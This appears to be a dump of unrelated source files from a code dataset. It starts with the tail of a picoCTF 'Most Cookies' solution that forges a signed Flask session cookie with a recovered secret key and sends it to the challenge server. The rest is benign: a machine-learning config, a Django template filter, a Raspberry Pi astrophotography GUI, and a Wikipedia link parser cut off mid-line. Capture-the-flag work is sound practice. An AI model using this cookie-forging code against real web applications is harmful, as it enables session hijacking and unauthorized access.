serializer(\n\tsecret_key=secret,\n\tsalt=\"cookie-session\",\n\tserializer=TaggedJSONSerializer(),\n\tsigner=tsigner,\n\tsigner_kwargs={\n\t\t\"key_derivation\":\"hmac\",\n\t\t\"digest_method\":hashlib.sha1\n\t}\n).dumps(data)\n\nresponse = requests.get(URL, cookies=dict(session = new_session))\nprint(response.text)\n", "sub_path": "CTFWRITEUPS/2021/SPR/pico-2021/picoCTF-2021/web-exploitation/Most-Cookies/most_cookies.py", "file_name": "most_cookies.py", "file_ext": "py", "file_size_in_byte": 1220, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "requests.Session", "line_number": 11, "usage_type": "call"}, {"api_name": "itsdangerous.TimestampSigner", "line_number": 17, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 17, "usage_type": "attribute"}, {"api_name": "itsdangerous.URLSafeTimedSerializer", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.json.tag.TaggedJSONSerializer", "line_number": 25, "usage_type": "call"}, {"api_name": "itsdangerous.TimestampSigner", "line_number": 26, "usage_type": "name"}, {"api_name": "hashlib.sha1", "line_number": 29, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "126794022", "text": "# -*- coding: utf-8 -*-\n\"\"\"Model configs.\n\"\"\"\n\nimport logging\nimport pathlib\n\n# Logs\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\nLOGS_PATH = r'C:/tmp/tb_logs/'\n\n# Experiments\nRANDOM_STATE = 41\nNUM_CATS = 46\nIMAGE_SIZE = 512\n\n# Local files\nTEMP_DATA_PATH = r'/tmp/'\nFGVC6_DATA_SET_ROOT_PATH = r'/home/ubuntu/data/' # Change this path to your own directory\nDL_MODELS_PATH = FGVC6_DATA_SET_ROOT_PATH + 'models/dl/'\nFGVC6_SUBMISSION_CSV_PATH = '{0}submission.csv'.format(FGVC6_DATA_SET_ROOT_PATH)\nFGVC6_LABEL_DESCRIPTIONS_PATH = '{0}label_descriptions.json'.format(FGVC6_DATA_SET_ROOT_PATH)\n\n# Change preloaded weights to the folder containing the model you want to use.\n# Use 'None' to not initalize the weighs.\nPRE_TRAINED_FASHION_WEIGHTS = None\n#PRE_TRAINED_FASHION_WEIGHTS = r'C:/imaterialist-fashion-2019-FGVC6/models/dl/fashion_resnet_fashion_resnet_10120191014T1412/mask_rcnn_fashion_resnet_101_0002.h5'\n\n# Uncomment to use the whole training- & testset\nFGVC6_SAMPLE_SUBMISSION_CSV_PATH = '{0}sample_submission.csv'.format(FGVC6_DATA_SET_ROOT_PATH)\nFGVC6_TRAIN_CSV_PATH = '{0}train.csv'.format(FGVC6_DATA_SET_ROOT_PATH)\nFGVC6_TRAIN_IMAGES_FOLDER_PATH = '{0}train/'.format(FGVC6_DATA_SET_ROOT_PATH)\nFGVC6_TEST_IMAGES_FOLDER_PATH = '{0}test/'.format(FGVC6_DATA_SET_ROOT_PATH)\n\n# Uncomment to use a smaller training- & testset. Suitable for testing purposes\n#FGVC6_SAMPLE_SUBMISSION_CSV_PATH = '{0}sample_submission_small.csv'.format(FGVC6_DATA_SET_ROOT_PATH)\n#FGVC6_TRAIN_CSV_PATH = '{0}train_small.csv'.format(FGVC6_DATA_SET_ROOT_PATH)\n#FGVC6_TEST_IMAGES_FOLDER_PATH = '{0}test_small/'.format(FGVC6_DATA_SET_ROOT_PATH)\n#FGVC6_TRAIN_IMAGES_FOLDER_PATH = '{0}train_small/'.format(FGVC6_DATA_SET_ROOT_PATH)\n\n# create directories\nlogging.info(\"Checking directories...\")\npathlib.Path(DL_MODELS_PATH).mkdir(parents=True, exist_ok=True)\nlogging.info(\"Directories are set.\")\n", "sub_path": "commons/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1917, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 42, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "41301215", "text": "from django import template\n\n\nregister = template.Library()\n\n\n@register.filter\ndef post_process_fieldsets(fieldset):\n \"\"\"\n Removes a few fields from FeinCMS admin inlines, those being\n ``id``, ``DELETE`` and ``ORDER`` currently.\n \"\"\"\n\n formset = getattr(fieldset, 'formset', None)\n\n if formset: # Only apply special handling in formsets\n # Determine whether the given formset works on a FeinCMS inline\n try:\n content_types = fieldset.model_admin.model._feincms_content_types\n model = formset.form._meta.model\n\n process = model in content_types\n except AttributeError:\n process = False\n\n if process:\n # Exclude special fields and the primary key\n excluded_fields = ('id', 'DELETE', 'ORDER')\n fieldset.fields = [f for f in fieldset.form.fields.keys() if f not in excluded_fields]\n\n for line in fieldset:\n yield line\n", "sub_path": "feincms/templatetags/feincms_admin_tags.py", "file_name": "feincms_admin_tags.py", "file_ext": "py", "file_size_in_byte": 947, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.template.Library", "line_number": 4, "usage_type": "call"}, {"api_name": "django.template", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "571180798", "text": "'''\n Name : AstroPitography\n Author : Dr Adam Luke Baskerville\n Date : 05-Nov-2020\n Version : 1-06\n \n Description\n -----------\n This program provides a simple user interface to control the raspberry pi HQ camera for use in astrophotography. It makes use of opencv, raspistill and PySimpleGUI\n \n A variety of camera settings can be controlled including:\n \n * Brightness\n * Contrast\n * Saturation\n * Sharpness\n * Exposure (shutter speed in this instance)\n * Time delay between images\n \n It is currently able to do the following:\n \n * Show a live preview of the camera view in the main window; useful for making sure something is in frame\n * Allows for capturing of single images, multiple images with time delay and long exposure imaging\n * When a picture is taken it will be visible next to the live video feed and if it is a poor image it can be deleted from within the program\n * The default save location can also be selected from within the window; handy for saving to USB stick etc... especially for large RAW files\n * Video capturing\n * The image format is RAW, preffered over .png so no information is lost/processed\n \n This is still new (v1-05) and has not had much testing. More features will be added over time including:\n \n * Allow for greater variability in shutter speed (should be simple to implement)\n * Improve framerate of live preview\n * Test! (when the skies improve!)\n * Improve video implementation\n * Image stacking capability\n * The ability to load camera presets for different objects (e.g. planetary, deep sky etc...)\n * Implement PySimpleGUIWeb for easier access on multiple devices. This has been worked on but there are significant lag issues and issues with write permissions when saving and loading the images \n\n If you want the program to start on startup add this to the bottom of .bashrc:\n \n \n python3\n'''\n\nimport os\nimport time\nfrom os.path import expanduser\nimport PySimpleGUI as sg\nimport cv2\nimport imutils\nimport numpy as np\nimport PIL.Image\nimport io\nimport base64\nimport subprocess\nfrom pydng.core import RPICAM2DNG\nfrom datetime import datetime\n#import PySimpleGUIWeb as sg\n\n# set the GUI theme\nsg.theme('DarkBlack')\n\ndef convert_to_bytes(file_or_bytes, resize=None):\n '''\n Will convert into bytes and optionally resize an image that is a file or a base64 bytes object\n \n Turns into PNG format in the process so that can be displayed by tkinter/PySimpleGUI\n \n :param file_or_bytes: either a string filename or a bytes base64 image object\n :type file_or_bytes: (Union[str, bytes])\n :param resize: optional new size\n :type resize: (Tuple[int, int] or None)\n :return: (bytes) a byte-string object\n :rtype: (bytes)\n '''\n if isinstance(file_or_bytes, str):\n img = PIL.Image.open(file_or_bytes)\n else:\n try:\n img = PIL.Image.open(io.BytesIO(base64.b64decode(file_or_bytes)))\n except Exception as e:\n dataBytesIO = io.BytesIO(file_or_bytes)\n img = PIL.Image.open(dataBytesIO)\n\n cur_width, cur_height = img.size\n if resize:\n new_width, new_height = resize\n scale = min(new_height/cur_height, new_width/cur_width)\n img = img.resize((int(cur_width*scale), int(cur_height*scale)), PIL.Image.ANTIALIAS)\n bio = io.BytesIO()\n img.save(bio, format=\"PNG\")\n del img\n return bio.getvalue()\n\ndef call_raspistill(command, cap):\n '''\n Will send a command to raspistill using the shell via. a subprocess. In controls releasing of the camera from opencv and restarts after the subprocess has ended\n \n Makes use of the greater camera control offered by raspistill (allows for RAW capture which opencv does not)\n \n :param command: string filename \n :type file_or_bytes: (str)\n :param cap: the capture constructor from opencv\n :type resize: None\n :return: (cap) the capture constructor\n :rtype: ()\n '''\n # call the raspistill subprocess\n # -r = raw capture\n # -t = timeout in milliseconds\n # -md = mode. mode=3 corresponds to 4056 x 3040 with 4:3 aspect ration. Frame rate = 0.005 - 10fps. Full FOV and no binning/scaling done\n \n # release the camera from opencv so raspistill can use it\n cap.release()\n # run the subprocess\n subprocess.call(command, shell=True)\n # restart the camera\n cap = cv2.VideoCapture(-1)\n # restart the recording\n recording = True\n \n return cap\n\ndef main():\n '''\n This is the main function that controls the entire program. It has all been wrapped inside a function for easy exit of the various options using a function return\n It has no explicit inputs or returns. Its main purpose is to allow the while loop to run and for pysimplegui to keep the window open whilst showing a live feed of what the camera is seeing.\n \n '''\n # Default camera values\n default_brightness = 50\n default_contrast = 0 \n default_saturation = 0\n default_sharpness = 0\n default_image_no = 1\n default_iso = 800\n default_exposure = 1\n default_time_step = 2\n default_vid_time = 10\n default_image_size = (340,340)\n default_preview_size = 340 \n default_save_folder = \"{}/PiAstroCam\".format(expanduser(\"~\"))\n\n # define the column layout b the GUI\n image_column = [ \n [sg.Image(filename='', key='image'),\n sg.Button('Delete', size=(10, 1), font='Helvetica 14')],\n ]\n\n controls_column1 = [\n [sg.Text('Brightness', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(0, 100), orientation='h', size=(20, 20), default_value=default_brightness, key='brightness_slider')], \n [sg.Text('Contrast', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(-100, 100), orientation='h', size=(20, 20), default_value=default_contrast, key='contrast_slider')],\n [sg.Text('Saturation', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(-100, 100), orientation='h', size=(20, 20), default_value=default_saturation, key='saturation_slider')], \n [sg.Text('Sharpness', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(-100, 100), orientation='h', size=(20, 20), default_value=default_sharpness, key='sharpness_slider')], \n ]\n\n controls_column2 = [\n [sg.Text('ISO', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(100, 800), orientation='h', size=(20, 20), default_value=default_iso, key='iso_slider')],\n [sg.Text('Exposure', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(0, 200), orientation='h', size=(20, 20), default_value=default_exposure, key='exposure_slider')], \n [sg.Text('Number of images', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(0, 100), orientation='h', size=(20, 20), default_value=default_image_no, key='no_images_slider')], \n [sg.Text('Time step', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(0, 100), orientation='h', size=(20, 20), default_value=default_time_step, key='time_step_slider')],\n [sg.Text('Video duration', font=(\"Helvetica\", 10), size=(20, 1)), \n sg.Slider(range=(1, 100), orientation='h', size=(20, 20), default_value=default_vid_time, key='video_duration_slider')], \n ]\n\n extra_controls_column1 = [\n [sg.Text('Grey scale:', font=(\"Helvetica\", 10), size=(10, 1)),\n sg.Checkbox('', size=(5,1), enable_events=True, key='greyscale'),\n sg.Text('Auto white balance off:', font=(\"Helvetica\", 10), size=(20, 1)),\n sg.Checkbox('', size=(5,1), enable_events=True, key='whitebalance')],\n [sg.Text('h flip:', font=(\"Helvetica\", 10), size=(10, 1)),\n sg.Checkbox('', size=(5,1), enable_events=True, key='hflip'),\n sg.Text('v flip:', font=(\"Helvetica\", 10), size=(20, 1)),\n sg.Checkbox('', size=(5,1), enable_events=True, key='vflip')],\n ]\n \n # define the window layout\n layout = [[sg.Text(' Live Preview', size=(20, 1), justification='center', font='Helvetica 20'),\n sg.Text(' Most Recent Image', size=(30, 1), justification='center', font='Helvetica 20')],\n [sg.Image(filename='', key='video'),\n sg.Column(image_column)],\n [sg.Frame(\"Controls\", layout=[[sg.Column(controls_column1), sg.Column(controls_column2)]])],\n [sg.Frame(\"Extra Controls\", layout=[[sg.Column(extra_controls_column1)]])],\n [sg.Text('Choose A Directory to Save Images and Videos', size=(50, 1))], \n [sg.Text('Your Folder', size=(15, 1), auto_size_text=False, justification='right'), \n sg.InputText('{}'.format(default_save_folder), key='save_folder'), sg.FolderBrowse()], \n [sg.Button('Capture', size=(10, 1), font='Helvetica 14'),\n sg.Button('Record', size=(10, 1), font='Helvetica 14'),\n sg.Button('Defaults', size=(10, 1), font='Helvetica 14'),\n sg.Button('Exit', size=(10, 1), font='Helvetica 14'),\n sg.Text('Status:', size=(6,1), font=('Helvetica', 18)),\n sg.Text('Idle', size=(8, 1), font=('Helvetica', 18), text_color='Red', key='output')]]\n \n # create the window\n window = sg.Window('AstroPitography', layout, location=(0,0), keep_on_top=False).Finalize()\n #window.Maximize()\n\n # ---===--- Event LOOP Read and display frames, operate the GUI --- #\n cap = cv2.VideoCapture(-1) # cap = cv2.VideoCapture(0) for laptop webcam\n # cap = cv2.VideoCapture(-1) for raspberry pi HQ camera\n\n # start the preview as soon as the window opens\n recording = True\n # this loads a placeholder black image before an image is taken. TODO: Implement a better way to do this\n placeholder_img = \"/home/pi/PiAstroCam/blackimage.png\"\n #prev = 'raspistill --focus -t 0 -k'\n #cap = call_raspistill(prev, cap)\n \n ret, frame = cap.read()\n frame = imutils.resize(frame, width=default_preview_size)\n window['image'].update(data=convert_to_bytes(placeholder_img, resize=default_image_size))\n \n while True:\n # datetime object containing current date and time for time stamping the images and videos\n now = datetime.now()\n # dd/mm/YY H:M:S\n current_day_time = now.strftime(\"%d:%m:%Y_%H:%M:%S\")\n \n event, values = window.read(timeout=2)\n \n cam_brightness = int(values['brightness_slider']) # Grabs the user set brightness value\n cam_contrast = int(values['contrast_slider']) # Grabs the user set contrast value\n cam_saturation = int(values['saturation_slider']) # Grabs the user set saturation value\n cam_sharpness = int(values['sharpness_slider']) # Grabs the user set sharpness value\n cam_exposure = int(values['exposure_slider']) # Grabs the user set exposure value\n cam_iso = int(values['iso_slider']) # Grabs the user set ISO value\n cam_no_images = int(values['no_images_slider']) # Grabs the user set number of images to be taken\n cam_time_step = int(values['time_step_slider']) # Grabs the user set time increment between images\n cam_vid_time = values['video_duration_slider'] # Grabs the user set video length\n cam_folder_save = values['save_folder'] # Grabs the user set save \n\n # change the camera settings for the preview\n cap.set(10, cam_brightness ) # brightness min: 0 , max: 255 , increment:1 \n cap.set(11, cam_contrast ) # contrast min: 0 , max: 255 , increment:1 \n cap.set(12, cam_saturation ) # saturation min: 0 , max: 255 , increment:1\n cap.set(10, cam_brightness ) # brightness min: 0 , max: 255 , increment:1\n \n # convert from micro seconds to seconds. Maximum shutter delay for HQ camera appears to be 200 seconds (test this)\n cam_exposure_convert = cam_exposure*1E6\n \n if event == 'Exit' or event == sg.WIN_CLOSED:\n cap.release()\n return\n # record video\n elif event == 'Record':\n # update the activity notification\n window.FindElement('output').Update('Working...')\n window.Refresh()\n # specify the name of the video save file\n video_save_file_name = \"{}/Video_{}_{}s.avi\".format(cam_folder_save, current_day_time, cam_vid_time)\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n size = (width, height)\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n video_writer = cv2.VideoWriter(video_save_file_name, fourcc, 20.0, size)\n \n # record video of specified length\n start_time = time.time()\n while ( int(time.time() - start_time) < cam_vid_time ):\n ret, frame = cap.read()\n\n if ret == True:\n # update the activity notification\n window['output'].update('Working...')\n \n frame = cv2.flip(frame,0)\n video_writer.write(frame)\n\n video_writer.release()\n # reset the activity notification\n window.FindElement('output').Update('Idle')\n window.Refresh()\n # record image\n elif event == 'Capture':\n # update the activity notification\n window.FindElement('output').Update('Working...')\n window.Refresh()\n # triggers long exposure\n if cam_exposure > 1:\n # triggers multiple exposures\n for i in range(cam_no_images):\n image_save_file_name = \"{}/Image_{}_no:{}_LE_{}s.jpg\".format(cam_folder_save, current_day_time, i, cam_exposure)\n # setup the raspistill command\n long_exposure = 'raspistill --nopreview -r -t 10 -md 3 -ex off -ag 1 --shutter {} -ISO {} -st -o {}'.format(cam_exposure_convert, cam_iso, image_save_file_name)\n \n if values['hflip'] is True:\n hflip_option = ' --hflip' # setting for hflip\n long_exposure = long_exposure + hflip_option # add option to raspistill command string\n \n if values['vflip'] is True:\n vflip_option = ' --vflip' # setting for vflip\n long_exposure = long_exposure + vflip_option # add option to raspistill command string\n \n if values['greyscale'] is True:\n greyscale_option = ' -cfx 128:128' # settings for greyscale image\n long_exposure = long_exposure + greyscale_option # add option to raspistill command string\n \n if values['whitebalance'] is True:\n whitebalance_option = \" -awb off -awbg '1.0,1.0'\"\n long_exposure = long_exposure + whitebalance_option\n \n # call out using subprocess\n cap = call_raspistill(long_exposure, cap)\n # update the still image with the most recent image taken. The image is resized to fit better into the GUI \n window['image'].update(data=convert_to_bytes(image_save_file_name, resize=default_image_size))\n \n # triggers multiple exposures\n else:\n for i in range(cam_no_images):\n # specify image file name\n image_save_file_name = \"{}/Image_{}_no:{}.jpg\".format(cam_folder_save, current_day_time, i)\n # setup the raspistill command\n raw_capture = 'raspistill --nopreview -t 10 -r -md 3 --brightness {} --contrast {} --saturation {} --sharpness {} -ISO {} -st -o {}'.format(cam_brightness,\n cam_contrast,\n cam_saturation,\n cam_sharpness,\n cam_iso,\n image_save_file_name)\n if values['hflip'] is True:\n hflip_option = ' --hflip' # setting for hflip\n raw_capture = raw_capture + hflip_option # add option to raspistill command string\n \n if values['vflip'] is True:\n vflip_option = ' --vflip' # setting for vflip\n raw_capture = raw_capture + vflip_option # add option to raspistill command string\n \n if values['greyscale'] is True:\n greyscale_option = ' -cfx 128:128' # settings for greyscale image\n raw_capture = raw_capture + greyscale_option # add option to raspistill command string\n \n if values['whitebalance'] is True:\n whitebalance_option = \" -awb off -awbg '1.0,1.0'\"\n raw_capture = raw_capture + whitebalance_option\n \n # call out using subprocess\n cap = call_raspistill(raw_capture, cap)\n # this creates the time gap between images being taken using the value set by the user\n time.sleep(cam_time_step)\n # update the still image with the most recent image taken. The image is resized to fit better into the GUI.\n window['image'].update(data=convert_to_bytes(image_save_file_name, resize=default_image_size))\n i += 1\n i = 0\n \n # automatically convert the raw data contained in the jpg file into a dng file using pydng\n raw_dng_convert = RPICAM2DNG()\n image_dng_filename = raw_dng_convert.convert(image_save_file_name)\n \n # remove the original jpg image to save space\n os.remove(image_save_file_name)\n \n # reset the activity notification\n window.FindElement('output').Update('Idle')\n window.Refresh()\n # if image is not good, pressing the delete button will remove it\n elif event == 'Delete':\n try:\n os.remove(image_dng_filename)\n placeholder_img = \"/home/pi/PiAstroCam/blackimage.png\"\n window['image'].update(data=convert_to_bytes(placeholder_img, resize=default_image_size))\n except:\n print(\"File not found, continuing.\")\n pass\n # reset the camera settings to the default values. TODO: Add these to a dictionary at some point for easier access\n elif event == 'Defaults':\n window.FindElement('brightness_slider').Update(default_brightness)\n window.FindElement('contrast_slider').Update(default_contrast) \n window.FindElement('saturation_slider').Update(default_saturation) \n window.FindElement('sharpness_slider').Update(default_sharpness) \n window.FindElement('exposure_slider').Update(default_exposure)\n window.FindElement('iso_slider').Update(default_iso)\n window.FindElement('no_images_slider').Update(default_image_no) \n window.FindElement('time_step_slider').Update(default_time_step) \n window.FindElement('video_duration_slider').Update(default_vid_time) \n\n if recording:\n #prev = 'raspistill --focus -p '0, 0, 300, 300' -t 0'\n #cap = call_raspistill(prev, cap)\n ret, frame = cap.read()\n frame = imutils.resize(frame, width=default_preview_size)\n imgbytes = cv2.imencode('.png', frame)[1].tobytes()\n window['video'].update(data=imgbytes)\n\n# Run the main function\nmain()\ncv2.destroyAllWindows()", "sub_path": "Old/AstroPitography.py", "file_name": "AstroPitography.py", "file_ext": "py", "file_size_in_byte": 20883, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PySimpleGUI.theme", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image.Image.open", "line_number": 77, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 77, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 77, "usage_type": "name"}, {"api_name": "PIL.Image.Image.open", "line_number": 80, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 80, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 80, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 80, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 80, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 82, "usage_type": "call"}, {"api_name": "PIL.Image.Image.open", "line_number": 83, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 83, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 83, "usage_type": "name"}, {"api_name": "PIL.Image.Image", "line_number": 89, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 89, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 90, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 142, "usage_type": "call"}, {"api_name": "PySimpleGUI.Image", "line_number": 146, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 147, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 151, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 152, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 153, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 154, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 155, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 156, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 157, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 158, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 162, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 163, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 164, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 165, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 166, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 167, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 168, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 169, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 170, "usage_type": "call"}, {"api_name": "PySimpleGUI.Slider", "line_number": 171, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 175, "usage_type": "call"}, {"api_name": "PySimpleGUI.Checkbox", "line_number": 176, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 177, "usage_type": "call"}, {"api_name": "PySimpleGUI.Checkbox", "line_number": 178, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 179, "usage_type": "call"}, {"api_name": "PySimpleGUI.Checkbox", "line_number": 180, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 181, "usage_type": "call"}, {"api_name": "PySimpleGUI.Checkbox", "line_number": 182, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 186, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 187, "usage_type": "call"}, {"api_name": "PySimpleGUI.Image", "line_number": 188, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 189, "usage_type": "call"}, {"api_name": "PySimpleGUI.Frame", "line_number": 190, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 190, "usage_type": "call"}, {"api_name": "PySimpleGUI.Frame", "line_number": 191, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 191, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 192, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 193, "usage_type": "call"}, {"api_name": "PySimpleGUI.InputText", "line_number": 194, "usage_type": "call"}, {"api_name": "PySimpleGUI.FolderBrowse", "line_number": 194, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 195, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 196, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 197, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 198, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 199, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 200, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 203, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 207, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 218, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 223, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 223, "usage_type": "name"}, {"api_name": "PySimpleGUI.WIN_CLOSED", "line_number": 249, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 259, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 260, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 262, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 263, "usage_type": "call"}, {"api_name": "time.time", "line_number": 266, "usage_type": "call"}, {"api_name": "time.time", "line_number": 267, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 274, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 346, "usage_type": "call"}, {"api_name": "pydng.core.RPICAM2DNG", "line_number": 353, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 357, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 365, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 387, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 388, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 393, "usage_type": "call"}]} +{"seq_id": "167858626", "text": "# encoding=utf8\n\nimport json\n\nimport hashlib\nimport os\nimport re\nfrom mw import xml_dump\n\nfrom parser.statistics import stats\nfrom parser.textparser import clean_string, word_regexp\nfrom parser.util import page_info\n\ndisambig_regex = re.compile(\"\\{\\{disambig(uation)?(\\|[^}]*)?\\}\\}\")\n\n\nclass LinkLibrary(object):\n \"\"\"\n Object for storing found and skipped links.\n \"\"\"\n\n def __init__(self):\n self.link_dictionary = {} # A dictionary containing a {page-title-hash: {original_name, name, id}} mapping\n self.link_list = [] # A list containing all found links (as IDs)\n self.backlink_list = [] # A list containing all found backlinks as tuples (LINKTEXT,TARGET_ID)\n self.redirect_link_dictionary = {} # A dictionary of redirect links {FROM_TITLE: TO_ID}\n\n def link_list_append(self, link_title):\n \"\"\"\n Appends a link to the link list.\n :param link: Link to append to the link list.\n \"\"\"\n if link_title in self.redirect_link_dictionary:\n link_id = self.redirect_link_dictionary[link_title]\n stats.increment_redirects()\n else:\n link_id = link_library.link_dictionary[hashlib.md5(link_title.encode('utf-8')).hexdigest()]['id']\n\n self.link_list.append(link_id)\n\n def backlink_list_append(self, linktuple):\n \"\"\"\n Appends a link to the backlink list.\n :param linktuple: Linktuple (LINKTEXT,TARGET_ID) to append to the backlink list.\n \"\"\"\n self.backlink_list.append(linktuple)\n\n def link_dictionary_set(self, article_name, article_id):\n \"\"\"\n Adds an entry to the link dictionary {page-title-hash: {original_name, name, id}}.\n :param article_name: Article name.\n :param article_id: Article ID.\n \"\"\"\n hashed_name = hashlib.md5(article_name.encode('utf-8')).hexdigest()\n\n article_name_words = clean_string(article_name).split(' ')\n cleaned_article_name_words = []\n for word in article_name_words:\n if word_regexp.match(word):\n cleaned_article_name_words.append(word)\n cleaned_article_name = ' '.join(cleaned_article_name_words)\n\n self.link_dictionary[hashed_name] = {'original_name': article_name, 'name': cleaned_article_name,\n 'id': article_id}\n\n def import_link_dictionary(self, source_file):\n \"\"\"\n Imports an existing link dictionary from a JSON file.\n :param source_file: JSON source file.\n \"\"\"\n self.link_dictionary = json.load(source_file)\n\n def import_redirect_link_dictionary(self, source_file):\n \"\"\"\n Imports an existing redirect link dictionary from a JSON file.\n :param source_file: JSON source file.\n \"\"\"\n self.redirect_link_dictionary = json.load(source_file)\n\n def redirect_link_dictionary_set(self, from_title, to_title):\n hashed_name = hashlib.md5(to_title.encode('utf-8')).hexdigest()\n try:\n self.redirect_link_dictionary[from_title] = self.link_dictionary[hashed_name]['id']\n except KeyError:\n pass # This happens with redirect pages (namespace 0) which redirect to a non-article (e.g. namespace 4)\n\n\nlink_library = LinkLibrary()\n\n\ndef link_list_push(target_title):\n \"\"\"\n Adds a link to the link list if it exists in the link dictionary. Otherwise it is added to the skipped links list.\n :param target_title: The title of the page to which it is linked.\n \"\"\"\n try:\n link_library.link_list_append(target_title)\n except KeyError:\n from parser import stats\n stats.add_skipped_link(target_title)\n\n\ndef backlink_list_push(linktext, target_title):\n \"\"\"\n Adds a link to the link list if it exists in the link dictionary. Otherwise it is added to the skipped links list.\n :param linktext: The linktext of the link.\n :param target_title: The title of the page to which it is linked.\n \"\"\"\n try:\n cleaned_linktext = clean_string(linktext)\n link_words = cleaned_linktext.split(' ')\n cleaned_link_words = []\n for word in link_words:\n if 